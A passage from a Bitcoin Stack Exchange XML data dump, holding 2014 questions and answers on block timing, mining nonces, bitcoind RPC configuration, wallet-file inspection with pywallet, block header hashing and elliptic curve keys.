forums)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt; bitcoinj and libbitcoin status (based on information from&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=291581&quot; rel=&quot;nofollow noreferrer&quot;&gt;this bitcointalk thread&lt;/a&gt;);&#xA;Electrum backend&#xA;&lt;strong&gt;Added&lt;/strong&gt; Bitcore&lt;/p&gt;&#xA;" OwnerUserId="214" LastEditorUserId="3347" LastEditDate="2016-11-20T14:12:11.700" LastActivityDate="2016-11-20T14:12:11.700" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25295" PostTypeId="2" ParentId="25293" CreationDate="2014-05-12T18:31:49.003" Score="12" Body="&lt;p&gt;The time between consecutive blocks follows the &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponential_distribution&quot; rel=&quot;noreferrer&quot;&gt;exponential distribution&lt;/a&gt;, with mean (roughly) 10 minutes. This means that the variance is 100 minutes^2.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-05-12T18:31:49.003" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="25296" PostTypeId="2" ParentId="25270" CreationDate="2014-05-12T19:10:19.130" Score="1" Body="&lt;p&gt;A few elements of answer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Difficulty readjustment can be done for each block on some altcoins.&lt;/li&gt;&#xA;&lt;li&gt;Mining is a highly random process, if you keep on flipping a coin all day, you will get long series of faces. Similarly, the miners may get unlucky. Even in bitcoin you see gaps of over an hour.&lt;/li&gt;&#xA;&lt;li&gt;The above is compounded for altcoins as miners switch from one to another depending on profitability.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So nothing really unusual. As for a fix, bitcoins' testnet uses a rule where difficulty drops to 1 when no block has been found for 20 min. But the security implications should be thought through.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-12T19:10:19.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25297" PostTypeId="2" ParentId="23435" CreationDate="2014-05-12T19:19:54.880" Score="1" Body="&lt;p&gt;There is [old] bitcoin version by Lukejr&#xA;&lt;a href=&quot;http://eligius.st/~luke-jr/programs/bitcoin/files/bitcoin-qt/next/test/20130721/&quot; rel=&quot;nofollow&quot;&gt;http://eligius.st/~luke-jr/programs/bitcoin/files/bitcoin-qt/next/test/20130721/&lt;/a&gt;&#xA;It accepts and relays non-standard transactions running with commandline option &quot;-acceptnonstdtxn&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very unstable program, use it with separate database and empty wallet.dat&#xA;But it definetely works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is at least one pool, which accepts non-standard transactions&#xA;It is eligius.st&#xA;Its public IP-address is 192.3.11.20&#xA;Just add option &quot;connect=192.3.11.20&quot; in your conf file or commandline param and you are a part of &quot;non-standard relaying network&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for more information refer to&#xA;&lt;a href=&quot;https://bitcointalk.org/?topic=260749&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=260749&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-05-12T19:19:54.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25299" PostTypeId="2" ParentId="25287" CreationDate="2014-05-12T20:21:41.307" Score="1" Body="&lt;p&gt;Support for importing blockchain.info wallets was removed in MultiBit 0.5.18. MultiBit still hosts their old releases, however, so you could simply download &lt;a href=&quot;https://multibit.org/releases/multibit-0.5.17/&quot; rel=&quot;nofollow&quot;&gt;0.5.17&lt;/a&gt;, import the blockchain.info wallet, and then upgrade to 0.5.18.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;import the backup&lt;/a&gt; into a new blockchain.info account. Once it's there, you could send it to a MultiBit address or make &lt;a href=&quot;https://blockchain.info/wallet/backups&quot; rel=&quot;nofollow&quot;&gt;another backup&lt;/a&gt; in an easier-to-read format (e.g. unencrypted export). You could then &lt;a href=&quot;https://multibit.org/help_importASingleKey.html&quot; rel=&quot;nofollow&quot;&gt;follow the instructions here&lt;/a&gt; to import those private keys into MultiBit 0.5.18.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-12T20:21:41.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25300" PostTypeId="1" CreationDate="2014-05-12T20:56:37.660" Score="1" ViewCount="104" Body="&lt;p&gt;With colored coin and similar solutions, anyone can create an asset. Using counterparty as an example, this gets out of control very quickly with no way to determine &quot;good&quot; assets easily (&lt;a href=&quot;http://www.blockscan.com/asset.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.blockscan.com/asset.aspx&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume people are dealing with shares of centralized corporations, instead of distributed autonomous ones, could a multisig or any signing solution using an institution that people trust be used to &quot;sign&quot; all assets that institution likes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With multisig, I could imagine an issuer wouldn't be able to finish creating the asset until the trusted institution also signed the transaction, this would mimic securities issuance in the regulated markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, FINRA signed the asset and there is an aggregator that looks for FINRA signatures + color. And then people would know that this asset has some kind of recourse behind it if things didn't work out.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-05-12T20:56:37.660" Title="signing colored assets to identify worthwhile assets" Tags="|multi-signature|signature|colored-coins|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25303" PostTypeId="2" ParentId="24664" CreationDate="2014-05-13T05:04:33.607" Score="1" Body="&lt;p&gt;You could take a look at &lt;a href=&quot;https://github.com/spesmilo/obelisk&quot; rel=&quot;nofollow&quot;&gt;Obelisk&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://github.com/spesmilo/sx/&quot; rel=&quot;nofollow&quot;&gt;Sx&lt;/a&gt;. If you want something you could also host yourself. Sx has an &lt;code&gt;sx balance &amp;lt;ADDRESS&amp;gt;&lt;/code&gt; command which also has a &lt;code&gt;Total received&lt;/code&gt; field. Which I think is what you are looking for. You can also interface to an Obelisk server via the &lt;a href=&quot;https://github.com/darkwallet/python-obelisk&quot; rel=&quot;nofollow&quot;&gt;python libs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3211" LastEditorUserId="18227" LastEditDate="2015-03-02T16:02:51.193" LastActivityDate="2015-03-02T16:02:51.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25304" PostTypeId="1" CreationDate="2014-05-13T05:09:23.853" Score="4" ViewCount="161" Body="&lt;p&gt;There's been dozens of alternate cryptocurrencies but I don't believe many of them did much other than find/replace some strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We see Bitcoin as made up of the blockchain and proof-of-work via hashing of the next block. Have there been any altcoins that drastically strayed from this recipe?&lt;/p&gt;&#xA;" OwnerUserId="2654" LastEditorUserId="575" LastEditDate="2014-05-13T12:17:49.070" LastActivityDate="2015-02-09T19:07:50.953" Title="Which cryptocurrencies deviate significantly from Bitcoin?" Tags="|alternatives|currencies|cryptography|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25305" PostTypeId="1" AcceptedAnswerId="25308" CreationDate="2014-05-13T07:20:59.817" Score="1" ViewCount="257" Body="&lt;p&gt;Given the current hashing powers, what do pools actually do in practice to find a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so here is my thinking, please correct me if I'm wrong anywhere:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Here's the format of the block header, the thing which is actually hashed:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;version(4b) + prevBlockHash(32b) + merkleHash(32b) + ctimestamp(4b) +&#xA;  ctarget(4b) + nonce(4b);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;So, canonically, what miners do is going through all the possible values of the last NONCE(4 bytes).&lt;/li&gt;&#xA;&lt;li&gt;If we treat that as unsigned int, the range would be 0-4294967295.&lt;/li&gt;&#xA;&lt;li&gt;Right now you can buy a 2Ghs miner for &amp;lt; $100.&lt;/li&gt;&#xA;&lt;li&gt;Given that you have something that can hash 2GHs(very cheap solution, I'm not even talking about THs systems that pools reportedly have), you could bruteforce through the range of 0:4294967295 in less than 3 seconds.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, the question is, what keeps mining in that ~10min period?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suspicion is that its not that much of a problem to find a nonce anymore, its more a problem to find the proper block that will actually have a nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is true: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) what do miners do in practice, play around with the timestamp, or generate some transactions to change the merkle root?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) is there any mathematical proof that such a block will ever be found? I mean, bitcoin not getting stuck, because of some unfortunate block having such a bad coincidence of bits that will endup blocking the result from getting enough zeros in the end to fit the target(I'm asking about mathematical proof that it is impossible).&lt;/p&gt;&#xA;" OwnerUserId="15745" LastEditorUserId="5406" LastEditDate="2021-03-06T19:43:39.500" LastActivityDate="2021-03-06T19:43:39.500" Title="Given the current hashing powers, what do pools actually do in practice?" Tags="|mining-pools|protocol|mining-technical-details|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25307" PostTypeId="2" ParentId="4376" CreationDate="2014-05-13T08:42:52.210" Score="3" Body="&lt;p&gt;Try Exchange war:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exchangewar.info/&quot; rel=&quot;nofollow&quot;&gt;https://exchangewar.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which shows even the most popular pairs for each exchange.&lt;/p&gt;&#xA;" OwnerUserId="15748" LastEditorUserId="15748" LastEditDate="2016-09-05T21:33:56.457" LastActivityDate="2016-09-05T21:33:56.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25308" PostTypeId="2" ParentId="25305" CreationDate="2014-05-13T09:28:14.153" Score="1" Body="&lt;p&gt;For a given combination of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version(4b) + prevBlockHash(32b) + merkleHash(32b) + ctimestamp(4b) + ctarget(4b),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no guarantee that there will be a valid nonce. There usually isn't - the probability that there will be is 1 divided by the difficulty, which is currently 9 billion. So miners try different combinations, try the nonce range for each, until they find a valid solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) The most general method is to change extraneous data in the generation transaction to change the Merkle root. Currently, to reduce communication overhead between the pool and miners, a method such as GBT is used, where the miner gets a block template and can fill in the generation transaction himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) No; hashing, like much of the core cryptographic primitives, is kind of a &quot;dark art&quot; - there's little in the way of proof that it all works. Let's say you fix just the prevBlockHash, there is no proof that you can fill in the other details to obtain a valid hash. However, if hash functions behave more or less the way we think they do, it is extremely unlikely there will be no solution.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-05-13T09:40:32.933" LastActivityDate="2014-05-13T09:40:32.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25309" PostTypeId="1" AcceptedAnswerId="25311" CreationDate="2014-05-13T09:33:01.657" Score="0" ViewCount="402" Body="&lt;p&gt;I'm creating a pool, right now I'm trying to connect to bitcoin daemon, it responses with error &quot;401&quot;, &quot;HTTP Error 401 Unauthorized&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I enter in &quot;login&quot; and &quot;password&quot; fields?&lt;/p&gt;&#xA;" OwnerUserId="15441" LastActivityDate="2014-05-13T11:42:15.480" Title="What should I use as a login and password while connecting to the bitcoin daemon" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25310" PostTypeId="2" ParentId="25304" CreationDate="2014-05-13T10:50:03.850" Score="1" Body="&lt;p&gt;Ripple is in my opinion very interesting that uses a very different system which isn't based on the block chain nor the proof-of-work algorithm. Rather, it uses a quite different consensus algorithm outlined here: &lt;a href=&quot;https://ripple.com/wiki/Consensus&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Consensus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is that there's very little research about this concept and I can't figure out how it works more in detail without an official publication of some sort. All I can say is that it's different from any altcoin because it's based on trusting nodes that behave honestly and distrusting the ones that don't:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If someone should be dishonest, the honest actors will notice them&#xA;  lying and can disregard their future attestations.  That is, if you lie once, you have no gain as the network doesn't care and they won't care what you say in the future.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-05-13T10:50:03.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25311" PostTypeId="2" ParentId="25309" CreationDate="2014-05-13T11:42:15.480" Score="2" Body="&lt;p&gt;Locate your bitcoin.conf file (&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;) and add these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser = MyRpcUsername&#xA;rpcpassword = MyRpcPassword&#xA;server=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are the credentials you should be also using in your program.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-05-13T11:42:15.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25314" PostTypeId="2" ParentId="861" CreationDate="2014-05-13T16:32:54.040" Score="0" Body="&lt;p&gt;Heres a site that shows nLockTime code implementation&#xA;whether it works or not I have no idea&#xA;Some say its implemented, others say its not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;http://brainwallet.org/#tx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15750" LastActivityDate="2014-05-13T16:32:54.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25315" PostTypeId="2" ParentId="19589" CreationDate="2014-05-13T17:30:56.763" Score="4" Body="&lt;p&gt;Here's one way I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get &lt;code&gt;pywallet&lt;/code&gt; (&lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt;) and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python pywallet.py --dumpwallet --wallet=/foo/bar/wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look in the output for a field called &lt;code&gt;names&lt;/code&gt;.  This will contain a list of addresses in the coin's own format, and by looking at the first character you can try to identify the coin by its version byte.  See &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for a list of some common ones.  For example, &lt;code&gt;1&lt;/code&gt; is Bitcoin, &lt;code&gt;L&lt;/code&gt; is Litecoin, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will see a number of other fields named &lt;code&gt;defaultkey&lt;/code&gt;, &lt;code&gt;addr&lt;/code&gt;, etc.  These will appear to be in Bitcoin address format (starting with &lt;code&gt;1&lt;/code&gt;), &lt;em&gt;no matter what the actual coin is&lt;/em&gt;.  The reason is that for these keys, the &lt;code&gt;wallet.dat&lt;/code&gt; file only contains the private key, and &lt;code&gt;pywallet&lt;/code&gt; has to do the conversion to the public key and address.  In  particular, &lt;code&gt;pywallet&lt;/code&gt; has to fill in the version byte, and it always picks the Bitcoin version byte unless told otherwise on the command line.  So you always get a Bitcoin-style address in these fields, so for purposes of identifying the coin, you should ignore them.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-13T17:30:56.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25317" PostTypeId="1" CreationDate="2014-05-13T20:12:16.443" Score="2" ViewCount="265" Body="&lt;p&gt;I'm having some trouble understanding the process of transaction verification on full nodes. I understand how a transaction is verified via public cryptography (hashes, signature, etc, as it's explained in the original Satoshi paper), but i can't find how this process is done on the real software, involving the UTXO database and any other optimizations that may be done in the actual full node clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started to dig on the reference implementation code, as a I'm a programmer and i &lt;em&gt;hope&lt;/em&gt; to understand the process a little more by looking at the sources but, until then and maybe as a guide, could some expose how that process is done with a little example, even in broad terms it could be helpful, or point toward some technical resource where I could find that description ?&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2018-03-16T15:30:10.800" Title="Transaction verification process in full nodes" Tags="|transactions|bitcoin-core|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25319" PostTypeId="1" AcceptedAnswerId="25320" CreationDate="2014-05-13T21:08:54.070" Score="1" ViewCount="112" Body="&lt;p&gt;Can I still use my key pair to receive and send bitcoins, even if I imported the private key in another location? I wondered about this, when I planned to import a backup of my online wallet in a pc-client, but still wanted to use my bitcoin in the online account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is only the latest location where I imported my private key able to operate with the bitcoin? (I'm still trying to fully understand the bitcoin universe)&lt;/p&gt;&#xA;" OwnerDisplayName="user15759" LastActivityDate="2014-05-13T22:01:23.083" Title="One private key in different locations?" Tags="|private-key|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25320" PostTypeId="2" ParentId="25319" CreationDate="2014-05-13T22:01:23.083" Score="1" Body="&lt;p&gt;Bitcoin works in a way that you don't actually own any coins, but instead you have the key to unlock them and spend them - so that you can send them to someone else who can then unlock them and spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using that logic, anybody that holds your private key can unlock and spend the coins from any computer anywhere in the world with an internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of wallet implementations, it's a bit tricker to use the same wallet on different computers as there will be synching issues between the various wallets. The &quot;change&quot; from a transaction will go into another address in your wallet, which might not be present in your other wallet. Please read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17101/wallet-on-multiple-computers&quot;&gt;Wallet on multiple computers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this depends on your wallet implementation. If you're using just the raw private key to make transactions, it shouldn't matter how many copies there are or where you broadcast the transaction from.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-05-13T22:01:23.083" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25322" PostTypeId="1" AcceptedAnswerId="25324" CreationDate="2014-05-14T02:10:59.830" Score="3" ViewCount="377" Body="&lt;p&gt;I've been experimenting with the php code here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Block_hashing_algorithm&lt;/a&gt;  (after correcting the small bug of $x=; to $x=&quot;&quot;; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these blocks 0 and 125552 (for example) it works fine and I get the expected hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With blocks 225552 and 300000, I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7a7bb195e8bcc8e73205df7906eb68f26144c6fbc577d59dd4e8a0cfdb8b90df (rather than 00000000000001f4f14b09019b23d71c222a2c1245ef3df52875d79ff4488709)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;178d6fe6cbf696311e7f46263067eeb688797e4c790060c1f6edf6daec76c59e (rather than 000000000000000082ccf8f1557c5d40b21edabb18d2d691cfbf87118bac7254)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...respectively - which doesn't match the hash of either block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing or doing incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional note - I confirmed these results using &quot;openssl dgst -sha256 -binary test-input.bin |openssl dgst -sha256&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to this, using the python code from the same page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import hashlib&#xA;&amp;gt;&amp;gt;&amp;gt; header_hex = (&quot;01000000&quot; +&#xA;...     &quot;81cd02ab7e569e8bcd9317e2fe99f2de44d49ab2b8851ba4a308000000000000&quot; +&#xA;...     &quot;e320b6c2fffc8d750423db8b1eb942ae710e951ed797f7affc8892b0f1fc122b&quot; +&#xA;...     &quot;c7f5d74d&quot; +&#xA;...     &quot;f2b9441a&quot; +&#xA;...      &quot;42a14695&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; header_bin = header_hex.decode('hex')&#xA;&amp;gt;&amp;gt;&amp;gt; hash = hashlib.sha256(hashlib.sha256(header_bin).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; hash.encode('hex_codec')&#xA;'1dbd981fe6985776b644b173a4d0385ddc1aa2a829688d1e0000000000000000'&#xA;&amp;gt;&amp;gt;&amp;gt; hash[::-1].encode('hex_codec')&#xA;'00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...works fine... but:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import hashlib&#xA;&amp;gt;&amp;gt;&amp;gt; header_hex = (&quot;01000000&quot; +&#xA;...     &quot;7ef055e1674d2e6551dba41cd214debbee34aeb544c7ec670000000000000000&quot; +&#xA;...     &quot;d3998963f80c5bab43fe8c26228e98d030edf4dcbe48a666f5c39e2d7a885c91&quot; +&#xA;...     &quot;02c86d53&quot; +&#xA;...     &quot;6c890019&quot; +&#xA;...     &quot;593a470d&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; header_bin = header_hex.decode('hex')&#xA;&amp;gt;&amp;gt;&amp;gt; hash = hashlib.sha256(hashlib.sha256(header_bin).digest()).digest()&#xA;&amp;gt;&amp;gt;&amp;gt; hash.encode('hex_codec')&#xA;'9ec576ecdaf6edf6c16000794c7e7988b6ee673026467f1e3196f6cbe66f8d17'&#xA;&amp;gt;&amp;gt;&amp;gt; hash[::-1].encode('hex_codec')&#xA;'178d6fe6cbf696311e7f46263067eeb688797e4c790060c1f6edf6daec76c59e'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...gets the same erroneous result as the php code.&lt;/p&gt;&#xA;" OwnerUserId="15763" LastEditorUserId="15763" LastEditDate="2014-05-14T05:16:09.407" LastActivityDate="2014-05-14T10:40:57.073" Title="SHA256 * 2 on header - what am I doing wrong?" Tags="|blockchain|hash|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25324" PostTypeId="2" ParentId="25322" CreationDate="2014-05-14T05:48:54.057" Score="1" Body="&lt;p&gt;You have the wrong block version number.  Block 300000 is a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0034.mediawiki&quot; rel=&quot;nofollow&quot;&gt;version 2&lt;/a&gt; block, whereas 125552 was version 1.  So the first word in the block header should be &quot;02000000&quot; not &quot;01000000&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-14T05:48:54.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25325" PostTypeId="2" ParentId="8119" CreationDate="2014-05-14T05:53:23.947" Score="2" Body="&lt;p&gt;Uncompressed &quot;G&quot; is 0479BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;04&quot; at the beginning is simply added (for what reason I don't know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 64 hex characters after the &quot;04&quot; supposedly represent the &quot;x&quot; value and the last 64 hex characters supposedly represent the &quot;y&quot; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the specifics of why it cannot be reversed (I am also seeking the answer to that question).&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2014-05-14T05:53:23.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25326" PostTypeId="2" ParentId="8119" CreationDate="2014-05-14T06:00:50.960" Score="1" Body="&lt;p&gt;Note that the &quot;multiplication&quot; in question is not ordinary integer multiplication, but &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication&quot; rel=&quot;nofollow&quot;&gt;elliptic curve point multiplication&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole point of working over an elliptic curve in this way is that multiplication is easy, but division is hard.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-14T06:00:50.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25327" PostTypeId="1" CreationDate="2014-05-14T06:11:02.207" Score="2" ViewCount="230" Body="&lt;p&gt;What is the best method of getting the transaction id for the last payment sent to an address with &lt;em&gt;n&lt;/em&gt; confirmations ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getbalance address&lt;/code&gt; with minconf will give me a balance&#xA;but what I would like to do is get the full details of the last transaction made to an address, not only the balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do a something like &lt;code&gt;listtransactions&lt;/code&gt; then filter out the data, I was wondering is there a simpler way that would not require me first to know the account associated with the address.&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="15412" LastEditDate="2014-05-14T08:10:22.377" LastActivityDate="2014-05-14T08:41:19.907" Title="BitCoin RPC calls" Tags="|bitcoind|bitcoin-core|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25328" PostTypeId="2" ParentId="25327" CreationDate="2014-05-14T06:22:19.720" Score="1" Body="&lt;p&gt;Not sure what you mean by last payment because multiple payments to the same address could be included in the same block and therefore included at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;code&gt;getreceivedbyaddress&lt;/code&gt; however you would still have to filter out all the transactions that you dont want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getreceivedbyaddress &amp;lt;bitcoinaddress&amp;gt; [minconf=1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns the amount received by  in transactions with at least [minconf] confirmations. It correctly handles the case where someone has sent to the address in multiple transactions. Keep in mind that addresses are only ever used for receiving transactions. Works only for addresses in the local wallet, external addresses will always show 0. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2014-05-14T08:41:19.907" LastActivityDate="2014-05-14T08:41:19.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25329" PostTypeId="2" ParentId="8119" CreationDate="2014-05-14T06:25:07.397" Score="2" Body="&lt;p&gt;No sufficiently efficient algorithm for division is known. Multiplication over a closed group is a lossy process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an imperfect analogy, consider multiplication over the group of 100-digit numbers where you just keep the last 100 digits of the result. Since you don't know what digits were discarded, you can't naively reverse a multiplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corresponding algorithm in DSA is modular exponentiation -- &lt;code&gt;(G^X) mod n&lt;/code&gt;, which is also, for practical purposes with large numbers, irreversible even if G and n are known.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-05-14T06:25:07.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25330" PostTypeId="2" ParentId="19274" CreationDate="2014-05-14T06:48:19.783" Score="3" Body="&lt;p&gt;Actually Ive done this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would say is that if you are planning to it your self it requires some amount of time and expertise if you really want to implement a custom solution that can integrate with your web platform. I did some research and in the end this is how I did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Bitcoind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It runs on a private server well away from the web server.&#xA;On the private server there are several encrypted wallets running on different ports under different user accounts each of them runs the RPC deamon that only responds to ssl from the local host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users have an account on on the web application, when they are created they are assigned to one of the private wallets and given an account in that wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web application sends an RPC request for getaddress  using a message queue 